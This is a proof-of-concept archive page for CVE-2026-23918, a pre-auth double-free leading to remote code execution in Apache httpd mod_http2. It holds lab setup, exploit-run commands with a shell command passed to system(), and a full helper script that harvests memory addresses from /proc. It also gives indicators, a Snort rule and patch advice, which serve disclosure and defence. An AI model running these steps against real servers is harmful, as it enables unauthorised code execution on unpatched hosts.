PoC Archive PoC Archive
Critical CVE-2026-23918 patched

Apache httpd mod_http2 Double-Free Pre-Auth RCE - CVE-2026-23918

by striga-ai, Bartlomiej Dmitruk, Stanislaw Strzalkowski · 2026-05-17

Severity
Critical
CVE
CVE-2026-23918
Category
web
Affected product
Apache HTTP Server (httpd) with mod_http2
Affected versions
2.4.66 (fixed in 2.4.67) when mod_http2 is enabled with multi-threaded MPM (event/worker)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2026-05-11
Author / Researcherstriga-ai, Bartlomiej Dmitruk, Stanislaw Strzalkowski
CVE / AdvisoryCVE-2026-23918
Categoryweb
SeverityCritical
CVSS ScoreN/A
StatusWeaponized
TagsRCE, pre-auth, unauthenticated, double-free, heap-corruption, Apache, httpd, mod_http2, HTTP/2, TLS
RelatedN/A

Affected Target

FieldValue
Software / SystemApache HTTP Server (httpd) with mod_http2
Versions Affected2.4.66 (fixed in 2.4.67) when mod_http2 is enabled with multi-threaded MPM (event/worker)
Language / PlatformC (target), Python 3 (PoC), Linux/Docker lab
Authentication RequiredNo (pre-authentication)
Network Access RequiredYes (HTTPS/HTTP2 access)

Summary

CVE-2026-23918 is a pre-authentication double-free vulnerability in Apache httpd’s mod_http2 stream cleanup path. Under affected configurations, a remote attacker can trigger memory corruption over HTTP/2 before authentication. The upstream PoC demonstrates probabilistic remote command execution by combining a trigger path with memory spraying. Apache fixed this issue in 2.4.67.


Vulnerability Details

Root Cause

A stream-cleanup lifecycle bug in mod_http2 can free related structures more than once. In multi-threaded MPM setups, this double-free creates a reusable corruption primitive. The PoC abuses corrupted pointers in scoreboard-adjacent memory to redirect a callback to system().

Attack Vector

An unauthenticated attacker sends crafted HTTP/2 traffic over TLS (h2) to an exposed Apache instance. The sequence includes initialization writes, request spraying, and repeated stream reset/cleanup triggers to hit a favorable memory state for control-flow hijack.

Impact

Successful exploitation can result in pre-auth remote code execution in the Apache worker context (www-data in the provided lab). This enables arbitrary command execution, persistence, lateral movement, and data exposure from affected hosts.


Environment / Lab Setup

OS:          Linux host with Docker
Target:      httpd:2.4.66 + mod_http2 (provided Dockerfile)
Attacker:    Python 3 host with network reachability to target
Tools:       Docker, Python 3

Setup Steps

1
2
3
docker build -t httpd-poc .
docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc
docker exec httpd-poc python3 /getaddr.py 1

Proof of Concept

Step-by-Step Reproduction

  1. Build and start vulnerable target

    1
    2
    
    docker build -t httpd-poc .
    docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc
    
  2. Collect required addresses from target

    1
    2
    3
    4
    
    docker exec httpd-poc python3 /getaddr.py 1
    # example output:
    # scoreboard->servers[0][0].request: 0x7f...
    # system: 0x7f...
    
  3. Run exploit

    1
    2
    3
    
    python3 poc.py --host localhost --port 9443 \
        --cmd 'date >> /tmp/win' --workers 64 \
        --system <system_addr> --scoreboard <scoreboard_addr>
    
  4. Verify command execution

    1
    
    docker exec httpd-poc cat /tmp/win
    

Exploit Code

See poc.py and helper getaddr.py in this folder.

1
2
trigger = Trigger(args.host, args.port)
trigger.run(20)

Expected Output

[*] Target: localhost:9443
[*] Starting 64 spray threads
[*] Trigger round 1...
[status] spray connections: 12345

Screenshots / Evidence


Detection & Indicators of Compromise

- Bursts of abnormal HTTP/2 stream resets followed by worker instability/crashes
- Apache error logs indicating mod_http2 cleanup failures or segfaults
- Unexpected command execution artifacts (e.g., /tmp/win) from httpd worker context

SIEM / IDS Rule (example):

alert tcp any any -> any 443 (msg:"Possible CVE-2026-23918 HTTP/2 exploit attempt";
  flow:to_server,established; content:"PRI * HTTP/2.0"; depth:14;
  sid:90002623918;)

Remediation

ActionDetail
PatchUpgrade Apache HTTP Server to 2.4.67 or newer
WorkaroundDisable mod_http2 where feasible and restrict external access to HTTPS endpoints
Config HardeningMinimize exposed attack surface; monitor for anomalous HTTP/2 reset patterns and crashes

References


Notes

Auto-ingested from https://github.com/striga-ai/CVE-2026-23918 on 2026-05-17.

getaddr.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
# For authorized security research and educational use only. Use only on systems you own or are explicitly authorized to test.
"""
CVE-2026-23918 - Apache httpd mod_http2 double-free, pre-auth RCE

Helper that extracts scoreboard and system() addresses from /proc/PID/mem.

Found and reported by:
  Bartlomiej Dmitruk (striga.ai)
  Stanislaw Strzalkowski (isec.pl)
"""
import struct, sys, os, re, subprocess

def read_at(pid, addr, n):
    try:
        with open(f"/proc/{pid}/mem", "rb") as f:
            f.seek(addr)
            return f.read(n)
    except (OSError, ValueError):
        return None

def u64(data, off=0):
    return struct.unpack_from("<Q", data, off)[0]

def u32(data, off=0):
    return struct.unpack_from("<I", data, off)[0]

def is_ptr(v):
    return 0x1000 < v < 0x7fffffffffff

pid = int(sys.argv[1])

def sym(pid, name):
    bases = {}
    for line in open(f"/proc/{pid}/maps"):
        p = line.split()
        if len(p) >= 6 and p[-1].startswith('/') and p[-1] not in bases:
            bases[p[-1]] = int(p[0].split('-')[0], 16)
    for path, base in bases.items():
        if not os.path.isfile(path):
            continue
        for flag in ("-D", ""):
            try:
                cmd = ["nm"] + ([flag] if flag else []) + [path]
                out = subprocess.check_output(cmd, stderr=subprocess.DEVNULL, text=True)
            except Exception:
                continue
            for ln in out.splitlines():
                t = ln.split()
                if len(t) >= 3 and t[2].split("@")[0] == name:
                    off = int(t[0], 16)
                    with open(path, 'rb') as f:
                        f.seek(16)
                        etype = struct.unpack('<H', f.read(2))[0]
                    return (base + off) if etype == 3 else off
    return None

def ptr(pid, addr):
    d = read_at(pid, addr, 8)
    return u64(d) if d else None

# worker_score.request offset (x86_64, APR_HAS_THREADS + HAVE_TIMES):
#   tid(8) + thread_num(4) + pid(4) + generation(4) + status(1) + pad(1) +
#   conn_count(2) + conn_bytes(8) + access_count(8) + bytes_served(8) +
#   my_access_count(8) + my_bytes_served(8) + start_time(8) + stop_time(8) +
#   last_used(8) + struct_tms(32) + client[32] = 0x98
OFF_WS_REQUEST = 0x98

a_sb = sym(pid, "ap_scoreboard_image")
if a_sb is not None:
    sb   = ptr(pid, a_sb)                     # scoreboard*
    srvs = ptr(pid, sb + 16) if sb else None  # servers (worker_score**)
    ws0  = ptr(pid, srvs) if srvs else None   # servers[0] (worker_score*)
    if ws0:
        req_addr = ws0 + OFF_WS_REQUEST
        print(f"scoreboard->servers[0][0].request: 0x{req_addr:x}", file=sys.stderr)
else:
    print("ap_scoreboard_image symbol not found", file=sys.stderr)

    
system_addr = sym(pid, "system")
print(f"system: 0x{system_addr:x}")